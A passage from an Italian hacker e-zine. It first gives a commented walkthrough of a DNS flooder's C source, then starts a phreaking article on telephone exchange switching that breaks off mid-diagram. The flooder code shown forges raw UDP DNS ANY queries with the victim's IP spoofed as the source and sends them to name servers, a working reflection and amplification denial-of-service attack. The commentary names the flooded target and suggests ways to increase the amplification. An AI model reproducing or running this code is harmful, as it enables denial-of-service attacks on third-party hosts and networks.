__volatile__(" movl (%1), %0 subl $4, %2 jbe 2f addl 4(%1), %0 adcl 8(%1), %0 adcl 12(%1), %0 1: adcl 16(%1), %0 lea 4(%1), %1 decl %2 jne 1b adcl $0, %0 movl %0, %2 shrl $16, %0 addw %w2, %w0 adcl $0, %0 notl %0 2: " : "=r" (sum), "=r" (iph), "=r" (ihl) : "1" (iph), "2" (ihl)); return(sum); } Il compito di questa funzione e' di calcolare il checksum per l'header ip, esistono 12000 versioni per eseguire questa funzione, forse questa risulta essere la migliore in quanto utilizza pure assembler. Se desiderate informazioni dettagliate sul funzionamento di questo codice dovete chiedere a \sPIRIT\ che lo fa di lavoro. Per chi si accontenta, in queste righe di codice vengono presi in considerazione l'header del pacchetto (iph) e la sua dimensione (ihl) e viene eseguito (tradotto spannometricamente dall'inglese) il complemento a 2 del complemento a 2 delle 16 word dell'header. Lo so che e' una cosa da flippati, ma se non volete che il vostro pacchettino venga sputato dal primo router che incontra dovete calcolarvelo! void forge(unsigned long daddr, unsigned short src, unsigned short dst) { struct sockaddr_in sin; struct dns_packet dpk; struct DNS_MSG killer; int shoot, len; memset(&killer, 0, sizeof(killer)); killer.head.id=getpid(); killer.head.rd=1; killer.head.aa=0; killer.head.opcode=QUERY; killer.head.qr=0; killer.head.qdcount=htons(1); killer.head.ancount=htons(0); killer.head.nscount=htons(0); killer.head.arcount=htons(0); strcat(killer.query, domains[--loop]); killer.query[strlen(domains[loop])+2]=0x00FF; killer.query[strlen(domains[loop])+4]=0x0001; memset(&dpk, 0, sizeof(dpk)); dpk.udp.source=src; dpk.udp.dest=dst; len=(12+strlen(killer.query)+5); dpk.udp.len=htons(UDP_HEAD_BASE+len); memcpy(dpk.data, (void*)&killer, len); dpk.ip.ihl=5; dpk.ip.version=4; dpk.ip.tos=0; dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len); dpk.ip.frag_off=0; dpk.ip.ttl=64; dpk.ip.protocol=IPPROTO_UDP; dpk.ip.saddr=saddr; dpk.ip.daddr=daddr; memset(&sin, 0, sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=dst; sin.sin_addr.s_addr=daddr; shoot=sendto(sdf, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,0,(struct sockaddr *)&sin, sizeof(sin)); if(shoot<0)fprintf(stderr, "SPOOF ERROR"); loop++; } Eccoci qui, come e' facile intuire dal nome (forge) questa funzione ha il compito di generare il pacchetto da inviare, questo pacchetto e' composto da tre parti principali: un header ip, un header udp e una sezione dati che nel nostro caso corrisponde ad un header dns. Questa funzione utilizza tre parametri cioe' daddr, src e dst. daddr e' l'indirizzo ip di destinazione, src e' la porta sorgente e dst e' la porta di destinazione, il primo parametro verra' utilizzato nella creazione dell'header ip mentre i seguenti 2 per la creazione dell'header udp. L'istruzione struct sockkaddr_in sin; genera una struttura sin derivandola da sockkaddr_in che nel file di include e' definita nel seguente modo: struct sockaddr_in { short int sin_family; /* Address family */ unsigned short int sin_port; /* Port number */ struct in_addr sin_addr; /* Internet address */ /* Pad to size of `struct sockaddr'. */ unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) - sizeof(unsigned short int) - sizeof(struct in_addr)]; }; Questa struttura viene utilizzata per descrivere l'indirizzamento ip. Di seguito troviamo l'istruzione struct dns_packet dpk; che dichiara una struttura dpk derivante da dns_packet: questa struttura principale e' definita come: struct dns_pkt { struct iphdr ip; struct udphdr udp; char data[1000]; }; Notate anche in questo caso la finesse del nostro amico FuSyS: ha dichiarato in una struttura la forma finale del pacchetto da inviare, se vi ricordate prima vi ho detto che il pacchetto era diviso in tre parti, l'header ip (struct iphdr ip;), l'header upd (struct udphdr udp;) e l'header DNS (char data[1000];). Ricordate che l'ip non conosce il protocollo DNS e per questo motivo dobbiamo considerarlo forzatamente un gruppo di dati generici. Tramite la struttura struct DNS_MSG killer; definita nel seguente modo: struct DNS_MSG { HEADER head; char query[255]; }; Andiamo a generare la struttura che dovra' contenere il nostro pacchetto DNS all'interno del pacchetto ip e piu' precisamente nella sezione data. La definizione HEADER e' un'ulteriore struttura all'interno di DNS_MSG ed e' definita nel file arpa/nameser.h nel seguente modo: typedef struct { unsigned id :16; /* query identification number */ #if __BYTE_ORDER == __BIG_ENDIAN /* fields in third byte */ unsigned qr: 1; /* response flag */ unsigned opcode: 4; /* purpose of message */ unsigned aa: 1; /* authoritive answer */ unsigned tc: 1; /* truncated message */ unsigned rd: 1; /* recursion desired */ /* fields in fourth byte */ unsigned ra: 1; /* recursion available */ unsigned pr: 1; /* primary server req'd (!standard) */ unsigned unused :2; /* unused bits (MBZ as of 4.9.3a3) */ unsigned rcode :4; /* response code */ #endif #if __BYTE_ORDER == __LITTLE_ENDIAN || __BYTE_ORDER == __PDP_ENDIAN /* fields in third byte */ unsigned rd :1; /* recursion desired */ unsigned tc :1; /* truncated message */ unsigned aa :1; /* authoritive answer */ unsigned opcode :4; /* purpose of message */ unsigned qr :1; /* response flag */ /* fields in fourth byte */ unsigned rcode :4; /* response code */ unsigned unused :2; /* unused bits (MBZ as of 4.9.3a3) */ unsigned pr :1; /* primary server req'd (!standard) */ unsigned ra :1; /* recursion available */ #endif /* remaining bytes */ unsigned qdcount :16; /* number of question entries */ unsigned ancount :16; /* number of answer entries */ unsigned nscount :16; /* number of authority entries */ unsigned arcount :16; /* number of resource entries */ } HEADER; Con queste tre dichiarazioni di strutture abbiamo predisposto il tutto per la generazione del nostro pacchetto, ora non ci resta che riempire queste strutture con un minimo di criterio. Vengono anche definite 2 variabili shoot e len, la prima servira' per determinare se il pacchetto e' stato inviato nel modo sbagliato, la seconda per registrare la lunghezza dell'header. L'istruzione memset(&killer, 0, sizeof(killer)); predispone un'area di memoria nella locazione puntata dalla struttura killer (&killer) della dimensione della struttura stessa riempiendola di 0. Questa operazione e' indispensabile in quanto servira' come inizialized data per il nostro pacchetto. Se avete letto quanto detto prima killer rappresenta il nostro messaggio DNS che andra' oppurtunamente creato. Cerchero' di spiegarvi brevemente il significato di ogni valore della struttura, per avere informazioni molto piu' dettagliate dovete consultare i numerosi RFC, li trovate su ftp.ripe.net oppure potete usare l'utile motore di ricerca fornito da www.cgi.interbusiness.it . - killer.head.id=getpid(); La variabile id viene utilizzata per assegnare un numero identificativo ad un pacchetto DNS, pensate alla classica situazione in cui diversi host dietro ad un firewall eseguano una richiesta di risoluzione sullo stesso DNS Server, se non vi fosse un id si creerebbe una notevole confusione con la conseguente perdita di pacchetti, l'id di una query DNS e' definito dall'utente che invia la richiesta. Nel nostro caso questo valore non riveste alcuna importanza ed e' stato assegnato tramite la funzione getpid() che restituisce un intero rappresentante il numero del processo del nostro programma. - killer.head.rd=1; Questa variabile che e' veramente simile ad un flag informa il server dns che la richiesta richiede, o meglio, puo' richiedere una ricerca recursiva, cio' implica che se la richiesta effettuata non ha risposta sul server, lo stesso deve cercarla. E' stato utilizzato questo flag in quanto la nostra ricerca deve comunque portare risultati. - killer.head.aa=0; Il flag aa rappresenta una risposta di tipo autoritativo. Questo valore viene utilizzato durante una risposta da parte di un name server che possa esaudire la richiesta e sia autorizzato a farlo. Viene settato a 0 in quanto la nostra e' una domanda e non una richiesta e specificare che possediamo una risposta autoritativa in una domanda sarebbe abbastanza stupido. - killer.head.opcode=QUERY; Come e' facile intuire la variabile opcode e' utilizzata per informare il server dns sul tipo di dati in arrivo, nel nostro caso viene effettuata una richiesta e quindi il valore e' impostato a QUERY, QUERY non e' il vero valore, ma e' un define. - killer.head.qr=0; Qr rappresenta il flag di risposta, cioe' specifica che il pacchetto possiede una risposta ad una domanda precedentemente avvenuta, anche in questo caso per noi corrisponde a 0 inquanto stiamo effettuando una domanda. - killer.head.qdcount=htons(1); La variabile qdcount rappresenta il numero di richieste contenute nel pacchetto, nel nostro caso questo valore e' settato a 1, *** parere personale *** forse si potrebbe lavorare su questo flag per ottenere una maggiore amplificazione, ne parlero' con FuSyS. - killer.head.ancount=htons(0); La variabile ancount rappresenta il numero delle risposte presenti nel pacchetto, come sempre il nostro pacchetto e' una domanda e non conterra' nessun tipo di risposta. - killer.head.nscount=htons(0); La variabile nscount rappresenta il numero dei server autoritativi per una risposta individuati; noi stiamo facendo una domanda: per questo motivo il flag deve essere settato a 0. D'ora in poi non specifichero' piu' che stiamo facendo una query perche' credo che sia abbastanza chiaro a questo punto della lettura. - killer.head.arcount=htons(0); La variabile arcount contiene il numero delle risorse del pacchetto DNS, l'invio non richiede risorse. - strcat(killer.query, domains[--loop]); Tramite strcat si assegna alla variabile killer.query il valore memorizzato all'interno dell'array puntato da --loop. L'array domains viene dichiarato all'inizio del file nella seguenta forma: char *domains["\x3ibm\003com\x0", "\003aol\003com\x0" ecc... come potete immaginare \x3ibm\003com\x0 sta per ibm.com, se volete sapere il perche' di questa sintassi dovete informarvi sul protocollo DNS. La variabile loop dichiarata come int specifica la posizione all'interno dell'array e la sintassi compressa --loop significa che a killer.query viene assegnato il valore decrementando loop ogni ciclo. - killer.query[strlen(domains[loop])+2]=0x00FF; All'interno di killer.query vanno anche inseriti dei parametri. Vi devo ricordare che a sua volta killer.query e' un array. Per inserire i parametri nell'array senza sovrascrivere il valore inserito tramite strcat(killer.query, domains[--loop]); dobbiamo spostarci all'interno dell'array stesso e per fare cio' utilizziamo [strlen(domains[loop])+2] dove strlen(domains[loop]) fornisce la lunghezza in byte del dns immesso a cui viene sommato 2. A questo punto possiamo inserire il valore 0x00FF che rappresenta il numero delle risposte che richiediamo. - killer.query[strlen(domains[loop])+4]=0x0001; La stessa procedura e' utilizzata per inserire nella variabile killer.query il valore 0x0001 che corrisponde in esadecimale al numero delle richieste contenute nel pacchetto. Nel nostro caso corrisponde a 1. - memset(&dpk, 0, sizeof(dpk)); Questa istruzione ha lo stesso significato di memset(&killer, 0, sizeof(killer)); - dpk.udp.source=src; In questo caso stiamo costruendo un pacchetto udp, nella variabile dpk.udp.source dobbiamo andare ad inserire il valore della porta sorgente. - dpk.udp.dest=dst; Nella variabile dpk.udp.dest dobbiamo andare ad inserire il valore della porta di destinazione che nel caso di una query dns sara' sempre e comunque 53. -len=(12+strlen(killer.query)+5); Dobbiamo calcolare la lunghezza del nostro pacchetto udp. Per fare cio' aggiungiamo 17 alla dimensione della nostra query dns. Questa comunque non risulta essere la dimensione corretta infatti... -dpk.udp.len=htons(UDP_HEAD_BASE+len); Andiamo a memorizzare all'interno della variabile dpk.udp.len (che come avrete capito e' proprio la lunghezza del pacchetto) il valore di len sommato ad UDP_HEAD_BASE che e' definito all'inizio del file come #define UPD_HEAD_BASE 8. - memcpy(dpk.data, (void*)&killer, len); Tramite questa istruzione andiamo a copiare nello spazio di memoria riservato ai dati del pacchetto udp il pacchetto killer che e' la query dns, la variabile len definisce la quantita' di dati da copiare. - dpk.ip.ihl=5; In questa sezione andiamo a completare la parte ip del pacchetto. La prima variabile rappresenta la lunghezza dell'header (Ip Header Lenght) a cui e' assegnato il valore 5. - dpk.ip.version=4; Come e' facile intuire la variabile version rappresenta la versione di ip su cui stiamo lavorando, cioe' 4. Pare che presto passeremo a 6, chi vivra' vedra'. Noi per sicurezza mettiamo 4 non vogliamo precedere i tempi. - dpk.ip.tos=0; La variabile tos (Type Of Service) specifica alcune proprieta' del pacchetto. Questa variabile e' stata settata a zero e sicuramente FuSyS avra' avuto i suoi buoni motivi, cio' non toglie che la mia idea sia quella di cambiare questo valore per incrementare il troughtput cioe' ottimizzare il pacchetto in modo che sfrutti totalmente la banda. Pare che questo valore influenzi soprattutto i router cisco... ormai ci vivo in mezzo e ne vorrei uno applicato all'orecchio. - dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len); Come in precedenza dobbiamo specificare la lunghezza complessiva del pacchetto e questa volta e' ottenuta tramite la somma di IP_HEAD_BASE, UDP_HEAD_BASE e len. Voglio ricordarvi che IP_HEAD_BASE e' definito come: #define IP_HEAD_BASE 20. - dpk.ip.frag_off=0; La variabile frag_off rappresenta lo spiazzamento di questo pacchetto rispetto al frammento precedente (fare riferimento a frammentazione e simili). Nel nostro caso non vi sono precedenti frammenti e questo valore deve essere settato a 0. - dpk.ip.ttl=64; La variabile ttl (Time To Live) rappresenta il numero massimo di hop che il pacchetto puo' eseguire prima di essere scartato. Ogni volta che il pacchetto passa un hop questo valore viene decrementato di 1. Se il valore diventa uguale a 0 l'hop seguente e' obbligato a scartarlo. Diciamo che per la dimensione attuale di internet questo valore e' piu' che sufficiente, per sicurezza si potrebbe utilizzare 255, ma per non essere il solito smanettatore di pacchetti FuSyS ci mette del suo anche in questo caso. - dpk.ip.protocol=IPPROTO_UDP; Nella variabile protocol dobbiamo specificare quale protocollo segue il pacchetto ip in modo tale che l'host ricevente sappia come comportarsi. IPPROTO_UDP non e' il vero parametro inviato, infatti questo valore deve essere numerico, utilizziamo la forma letterale in quanto e' piu' semplice, i numeri assegnati (vedere rfc assigned numbers) sono tantissimi. - dpk.ip.saddr=saddr; Nella variabile saddr e' memorizzato l'ip sorgente che nel nostro caso sara' l'ip del nostro target.. si' questo puo' sembrare un paradosso, in realta' e' abbastanza chiaro... Colui che deve ricevere la risposta del dns non siamo noi, ma e' il povero flooded. - dpk.ip.daddr=daddr; Per la variabile daddr vale lo stesso discorso, dobbiamo specificare la destinazione del nostro pacchetto che sara' il name server selezionato. - memset(&sin, 0, sizeof(sin)); Come visto in precedenza questa istruzione carica in memoria la struttura sin. Questa struttura e' utilizzata come trasportatore di alto livello, infatti... - sin.sin_family=AF_INET; La variabile sin_family viene settata al valore di AF_INET cioe' stiamo lavorando con pacchetti internet. - sin.sin_port=dst; Tramite sin_port viene specificata come precedentemente la porta di destinazione che nel nostro caso e' 53. - sin.sin_addr.s_addr=daddr; Nella variabile s_addr dobbiamo andare a specificare l'ip sorgente che, come detto prima, nel nostro caso e' la destinazione. - shoot=sendto(sdf, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,0,(struct sockaddr *)&sin, sizeof(sin)); Eccoci al passaggio chiave, tramite questa funzione inviamo il pacchetto, da notare che shoot e' dichiarato integer in quanto vogliamo che in questa variabile venga restituito un codice di errore che se risulta essere inferiore a 0 ci comunica una impossibilita' di inviare il pacchetto. Analizziamo il valore che andiamo a passare alla funzione, il primo e' sdf, un integer che rappresenta il socket descriptor del pacchetto. Il secondo parametro e' il nostro pacchetto vero e proprio: infatti e' dpk che viene esplicitamente cotruito tramite la struttura dpk.xxx.xxx e intrinsecamente tramite il trasferimento della query dns nella sezione dati udp. Il parametro successivo specifica la lunghezza del pacchetto cioe' IP_HEAD_BASE+UDP_HEAD_BASE+len, mentre 0 sta a rappresentare il valore di padding, valore con il quale va eseguito il riempimento, o meglio il completamento, del pacchetto. Il parametro successivo specifica di utilizzare come layer fisico di trasporto la struttura sin, incapsulando il pacchetto precedente con una lunghezza massima definita da sizeof(sin). - if(shoot<0)fprintf(stderr, "SPOOF ERROR"); Come detto precedentemente viene eseguito un controllo sull'invio del pacchetto tramite la variabile shoot. - loop++; Viene incrementata la variabile globale loop. Vediamo ora da che procedura viene richiamata la funzione forge: void doomzone (void) unsigned long daddr; unsigned short source, dest; if(dns_def[loop]==NULL) loop =0; daddr=nameResolve(dns_def[loop++]); source=htons(1024+(rand()%2000); dest=htons(53); forge(daddr, source, dest); Eccola qui, prima di tutto vengono definite 3 variabili, una unsigned long di nome daddr che rappresenta ovviamente l'indirizzo di destinazione del pacchetto, e 2 unsigned short source e dst che sono rispettivamente il target e la porta di destinazione per il principio espresso precedentemente. dns_def e' un array in cui sono inseriti i name server da utilizzare durante le query, viene eseguito un controllo sul valore puntato da dns_def[loop], se corrisponde a NULL, cioe' e' l'ultimo name server, allora loop viene settato a 0. Ora dobbiamo ottenere l'indirizzo di destinazione tramite la funzione nameResolve descritta precedentemente; si noti che la variabile loop viene incrementata e nel caso peggiore in cui si abbia loop = 0 non si generera' un errore cercando di risolvere il nome 0, ma si utilizzera' il primo indirizzo disponibile. source come detto precedentemente rappresenta la porta locale. Non e' importante quale sia: per questo motivo si utilizza un rand() incatenato per non fargli restituire valore non possibili. Come detto mille volte dest rappresenta la porta di destinazione che sara' sempre 53. Dopo tutti questi passaggi possiamo finalmente richiamare la funzione forge tramite gli appositi parametri. Tutte le funzioni interessanti sono state trattate. Ora ci rimane sono da analizzare la classica main con particolare attenzione alle istruzioni che riguardano l'inizializzazione dei socket per capire meglio quanto detto in precedenza. int main(int argc, char **argv) { int sfdo; unsigned int hz=100; if(argc<2) { fprintf(stderr, "Interesting .... let's flood ourselves ?!\n"); exit(0); } if(argv[2]) hz=atoi(argv[2]); saddr=nameResolve(argv[1]); srand(time(NULL)); if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { fprintf(stderr, "\nSOCK_RAW Died\n"); exit(2); } sfdo=1; if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo,sizeof(sfdo)) <0) { fprintf(stderr, "\nIP_HDRINCL Died\n"); exit(3); } printf("\n\033[1;32mD00M DNS\033[0m"); printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m"); printf("\n\033[1;34minithints by |scacco|\033[0m\n\n"); loop=0; while(hz--) { doomzone(); printf("\033[1;34m[DNS]\033[0m"); } printf("\n\n"); return(0); } La variabile sfdo viene dichiarata di tipo integer e hz di tipo unsigned int e le viene assegnato il valore di 100. La variabile hz rappresenta il numero dei pacchetti da inviare, se nella command line non viene specificato nulla questo valore e' 100. Successivamente viene eseguito un controllo sul numero dei parametri della command line, se non viene specificato un target viene restituito il messaggino d'errore. Come annunciato precedentemente viene effettuato un controllo sul valore di argv[2], se questo non e' nullo allora hz assume questo valore. Tramite la funzione saddr=nameResolve(argv[1]); si ottiene l'ip dell'host target inserito nella command line. srand(time(NULL)); ehm... sorry?. Subito dopo viene generato come detto parecchie frasi fa il descrittore del socket sdf e come parametro inseriamo AF_INET, SOCK_RAW, IPPROTO_RAW come potete immaginare questi parametri si riferiscono al tipo di lavoro che dobbiamo fare, il primo lo conoscete, il secondo specifica che lavoriamo con RAW SOCKET (non avete ancora capito cosa sono?) e con il terzo specifichiamo il tipo di protocollo da applicate ai RAW SOCKET cioe' IPPROTO_RAW. Se questa funzione restituisce un valore inferiore a 0 si e' verificato un errore e il programma deve terminare. Tramite la funzione setsockopt (come dice la prola stessa) andiamo a settare le opzioni del socket e dobbiamo specificare il descrittore del socket stesso, il protocollo che e' IPPROTO_IP e IP_HDRINCL, cioe' vogliamo avere il controllo dell'header ip. Qui si puo' generare un errore (o meglio la funzione potrebbe resitituire un valore inferiore a 0) se non si e' root, in quanto solo l'utente root puo' controllare l'ip header (per quanto riguarda linux). printf..., printf..., printf... ma chi sara' questo |scacco|?. La variabile loop viene settata uguale a 0 ed inizia il loop di invio pacchetti fino a quando la variabile hz risulta uguale a 0. Tutto finito. Molte parti di questo testo non sono complete in quanto appositamente non mi sono voluto dilungare sulla trattazione degli header, ma non vi preoccupate, i piu' curiosi sappiano che non li ho abbandonati, il vostro |scacco| vi sta preparando una serie di articoli sui protocolli. Non perdetevi tra le altre cose l'introduzione ad internet di sh4mp00. No non ridete non e' il solito tutorial sul netscape, sulla mail e sulle news, ma vi spiega come funziona internet veramente. Spero che il tutto vi sia stato gradito... ******** Per informazioni, commenti, offese e denunce potete trovarmi a: scacco@s0ftpj.org |scacco| & FuSyS ============================================================================== --------------------------------[ PHREAKiNG ]--------------------------------- ============================================================================== -------------------[ TELEF0NiA FiSSA, LEGGENDE E VERITA' ]-------------------- ---------------------------------[ VaLV0LiN3 ]-------------------------------- 0. intr0 .------------------. 1. Commutatori, Centrali, e Centri di Smistamento | \ \ / / |_ 2. Dispositivo Telefonico a Disco Meccanico |ValV0liN3 cReW '99|| 3. Dispositivo Telefonico a Toni o DTMF | \ \ / / || 4. Toni, Segnalazioni di Invio e Risposta | \ ^ / || 5. Mezzi Trasmissivi e loro caratteristiche |_ _ _ \___/_ _ _ _|| 6. Trasmissione in Tecnica FDM '------------------' 7. Trasmissione in Tecnica PCM 8. .---------------------------------------------, | 0. intr0, gr33tz, fuckiNG, miSC | '---------------------------------------------' R3s0urC3 : 4 - Litri di COCA 15 - Aspirine (mi e' venuta la febbre, pork') 10 - Papini (wurstel, patatine, tomato, majonese) Pink Floyd, The Cure, Massive AttacK, 99Posse Entertainment TiM3/DaTe : 12/04/99 - 18.20 g0SSiP : kazzo so'...poko da dire, leggete e non rompete i coglioni gr33tZ : I Mie Ringraziamenti, vanno a tutta la posse di s0ftpj... ...in particolare: smaster - grazie per la pazienza, br0th' \sPIRIT\ - sikuri di vincere con NeTRaiDeR! :PP Cavallo - uahuzhauhzuhauhz Dashie, |scacco|, B_Berry, pIGpEN ed inoltre: xOANON, PhoenYx ...e tutti gli altri che non vengono in mente (quando mai!...uahuhzuahuzhauhuh) .---------------------------------------------------. | 1. Commutatori, Centrali, e Centri di Smistamento | | Le basi della telefonia | '---------------------------------------------------' |Principi Base della Commutazione e Commutazione Manuale| '--------------------------------------------------------' Il Commutatore Manuale e' stato il primo tipo in uso in telefonia. Ormai in disuso, e' ancora utilizzato in qualche impianto interno e, in alcune nazioni, per basse densita' telefoniche sparse su territori molto estesi. Il Commutatore manuale e' costituito da un tavolo di commutazione al quale fanno capo tutte le linee di utente. Ogni linea d'utente termina con un dispositivo noto come "presa jack" al quale l'operatore si collega mediante la spina ed il cordone. I Cordoni uniti in coppia consentono a due abbonati attestati a due prese Jack di conversare fra di loro. Mediante opportune chiavi di commutazione, azionabili manualmente, l'operatore puo' comunicare con ognuno degli abbonati, contemporaneamente o separatamente. Possiamo riassumere in 5 semplici passi, le fasi del collegamento: 1. L'utente chiamante solleva il dispositivo e con il generatore locale invia all'operatore la corrente di chiamata. 2. Sul tavolo di commutazione viene segnalato, con un cartellino e una suoneria, la chiamata. 3. L'operatore inserisce un cordone nella presa a jack del chiamante, riceve le istruzioni e, se il chiamato e' libero, inserisce il cordone nella presa del chiamato e manda la corrente di chiamata a quest'ultimo. 4. I due utenti conversano (!!!) 5. Al termine della conversazione, l'utente chiamante richiama l'operatore il quale sconnette le spine dei cordoni dalle due prese a jack. |Commutazione Automatica, l'arte dello Switching| '-----------------------------------------------' Nella commutazione automatica, le operazioni di connessione vengono effettuate mediante un organo di comando che riceve, sotto forma di segnali elettrici, le istruzioni necessarie per realizzare il collegamento. Per la cronaca, le prime centrali automatiche, sono state installate in Italia nel 1913. Un organo di commutazione non e' altro che un dispositivo in grado di assumere due condizioni di funzionamento rappresentate da valori di impedenze diverse. Il SELETTORE e' un commutatore avente un ingresso ed M uscite. Per poter realizzare commutatori con N ingressi ed M uscite e' necessario effettuare una MULTIPLAZIONE delle uscite: .------. -----> | 1 |--------+-----------> 1 | | | | |---+----+---+-------> 2 | | | | | '------'---+----+---+------+> M | | | | | | .------. 1 | | | -----> | 2 |--------+ | | | | | | | | |---+----+---+ | | | |2 | | | '------'---+----+---+------+ . . M | | | . . | | | .------. 1 | | | -----> | M |--------+ | | | | | | | |---+--------+ | | | |2 | '------'---+---------------+ M Con il semplice multiplexer, illustrato in figura (non rompete i coglioni, e' il massimo che sono riuscito a fare), otteniamo un commutatore N x M. L'insieme di piu' commutatori collegati in cascata da' origine ad una centrale chiamata anche AUTOCOMMUTATORE. Gli Autocommutatori possono essere classificati in base al principio di funzionamento con cui operano: . Autocommutatori a divisione di spazio o SDM . Autocommutatori a divisione di tempo o TDM Nel primo tipo, due utenti hanno a disposizione la linea per tutto il tempo della conversazione. Nella Tecnica TDM ad ogni collegamento e' assegnato periodicamento un breve intervallo di tempo. Gli AutoCommutatori SDM, attualmente presenti in Italia, sono di 3 Tipi: . Autocommutatori a Comando diretto o PASSO-PASSO In questo tipo di commutatori i segnali d'utente ottenuti dalla selezione delle cifre comandano direttamente le fasi del collegamento. Fanno uso del sistema decimale e operano in modo progressivo. Passano, cioe' da uno stadio al successivo, senza preoccuparsi di controllare se esiste una giunzione libera per proseguire. Sono praticamente INESISTENTI: erano i commutatori che venivano utilizzati con le linee di tipo ElettroMeccanico e con telefoni di tipo ad IMPULSI. Questo tipo di Autocommutatori usa come dipositivo di connessione il selettore; esso altro non e' che un organo elettromagnetico in grado di tradurre in movimento i comandi ricevuti direttamente dall'apparecchio d'utente. Il modo piu' semplice per collegare un utente dell'autocommutatore ad un altro e' quello di interporre un dispositivo di comando il quale riceve gli impulsi di selezione e posiziona il selettore sull'apposita linea d'uscita richiesta: --+---- .----------. .---------. / |-----------| UTENTE-2 | .--------. | ORGANO | / |---- '----------' | UTENTE |-------| DI |------O/ |---- '--------' | COMANDO | --+---- '---------' L'organo di comano e' un RELE' che fa' ruotare PASSO-PASSO il braccio del selettore di una posizione per ogni impulso ricevuto. Nell'esempio della mia figura siamo in presenza di un solo stadio di selezione. Cioe' se l'utente vuole mettersi in contatto con l'utente 2 compone il numero 2 e il selettore SWITCHERA' sulla linea 2. Ovviamente, in realta' le cose sono molto diverse perche' l'autocommutatore e' costituito da uno stadio di preselettori (PS) e da uno stadio di selettori di linea (SL). Il principio, comunque, e' identico: cambia soltanto il collegamento dei vari dispositivi tra di loro. . Autocommutatori a Comando indiretto o a REGISTRO I Segnali di selezione comandano indirettamente le operazioni di collegamento attraverso un organo chiamato REGISTRO. Non fanno piu' uso del sistema decimale ed utilizzano dispositivi di maggior potenzialita' i quali permettono di rendere indipendente la durata della costruzione del collegamento dal tempo relativo alla selezione delle cifre. Anche in questo caso, pero', la selezione e' PROGRESSIVA. Il REGISTRO viene utilizzato per immagazzinare gli impulsi di selezione dell'utente i quali successivamente provvedono a comandare i selettori. In questo modo si puo' eliminare l'utilizzo di selettori che operano con sistema decimale; vengono utilizzati, invece, selettori con un numero di uscite notevolmente superiore rispetto a quelle dei selettori studiati. Con questo sistema, inoltre, e' possibile mettere in attesa la chiamata per un certo tempo, qualora al primo tentativo, tutte le linee della centrale fossero occupate. I commutatori utilizzati in questo tipo di sistema sono principalmente due: . Autocommutatore ERICSON AGF . Autocommutatore FACE-STANDARD 7D Vediamone uno schizzo: -Autocommutatore ERICSON AGF- +----------------------------------------+ | cc sl | .--------. 500/ | +- /40 -+ | | UTENTE |------/----+---|\O---/----------+-------------O/|---| '--------' / +- / | -+ \| \10 |\ | .----------. | REGISTRO | '----------' In pratica, per questo tipo di autocommutatore (che nella versione base prevede un numero di 500 utenti), sono predisposti 40 cercatori (CC) di linea e 40 selettori di linea (SL) collegati fra di loro da altrettanti cordoni. Il numero di registri impiegati e' 10. Quando un utente solleva il dispositivo si mettono contemporaneamente in moto tutti i cercatori di cordone collegati a registri liberi i quali vanno alla ricerca di cercatori di linea liberi. Il primo cercatore di linea che trova l'utente che ha impegnato interrompe il moto degli altri cercatori e il registro invia il tono di centrale. Gli impulsi di selezione del disco combinatore sono immagazzinati dal registro, il quale provvede a trasformare il sistema decimale in un sistema opportuno per i selettori che seguono. - Autocommutatore FACE-STANDARD 7D +---------------------------------------------------+ | I CL II CL I SG II SG SL | .--------. | +- +- -+ -+ -+ | | UTENTE |----+---|\O---|\O----+------+--O/|---+--O/|---+--O/|----+ '--------' +- +- | | -+ | -+ | -+ | .----. .----. .----. +-+-+ | CC | | CC | | CC | CCC |\O | '----' '----' '----' | | .----------. | REGISTRO | '----------' Quando un utente "IMPEGNA" la linea si mettono in moto tutti i "I CL" liberi del suo centinaio alla ricerca del chiamante. Trovatolo, si arrestano e mettono in movimento tutti i "II CL" liberi. Quando uno dei "II CL" trova il "I CL" impegnato si arresta ed entrano in funzione i cercatori dei circuiti di connessione CC, i quali si fermano nel momento in cui viene trovato il "II CL" impegnato. . Autocommutatori a Comando indiretto a CONNESSIONE INTERSTADIO Gli autocommutatori finora presentati, presentano degli evidenti limiti in fatto di velocita' nelle operazioni di commutazione in quanto fanno uso di selettori a movimenti molto estesi a RELE' i quali, facendosi carico delle funzioni di comando, sono piuttosto complessi e quindi lenti. La soluzione e' stata data da Ericson e Face-Standard con l'introduzione dei sistemi a Selettore CROSSBAR. Questo Selettore compie piccoli spostamenti orizzontali e verticali. Inoltre, l'utilizzo dei punti di contatto o di incrocio (CROSSPOINT) a semiconduttori permette di eliminare tutte le parti in movimento e di aumentare in modo considerevole la velocita' di commutazione. Di CROSSBAR ne esistono e ne sono in circolazione in varie parti del mondo svariati tipi. Quelli che pero' io trattero' in quest'articolo e che penso siano i piu' utili ai nostri fini sono i CROSSBAR ELETTRONICI. Il componente base di questi Crossbar e' il DIODO SCR. Si tratta di un particolare tipo di DIODO, il quale ha bisogno di due circuiti per poter funzionare: abilitazione e tenuta. L'abilitazione viene data attraverso un comando sul gate, la tenuta viene assicurata dai generatori di correnti posti nelle giunzioni. Il DIODO si spegne quando la corrente scende sotto il valore di tenuta. a b .------------------o/O--------+--------O\o-----------------. | | | | | | .+. O .+. | | \ c | | | | o | | | | | | | '+' | '+' | | | .+. | .+. |~| | |~| '+' | '+' | | | | | | '-----------------------------+----------------------------' | ----- --- - Nei sistemi a CROSSBAR Elettronici opera un comando centralizzato, il quale prima di effettuare la connesione controlla se esiste una via libera per connettere i due utenti altrimenti non inizia la costruzione del collegamento. |Centrali Elettroniche - Un Esempio: la DST1 TELETTRA| '----------------------------------------------------' Cuore delle centrali elettroniche sono i CROSSBAR ELETTRONICI, visti appena prima. Un ottimo esempio di rete di connessione a CROSSBAR ELETTRONICI e' quello della centrale DST1 ELETTRA. Trattasi di una centrale realizzata con circuiti interamente elettronici alla quale sono attestati 4096 utenti e 512 giunzioni. Il principio di funzionamento con cui opera e' la tecnica a divisione di spazio, ossia viene assegnato un percorso fisico fra due utenti per tutto il tempo della conversazione. .--<- .-----------.---------------[ GE ]+---------------------. .------. .--. | \--------------[ GU ]+---------------------+ |UTENTE|---|CU|-----| \ '-->------------------|- '------' '--+--. | RETE DI 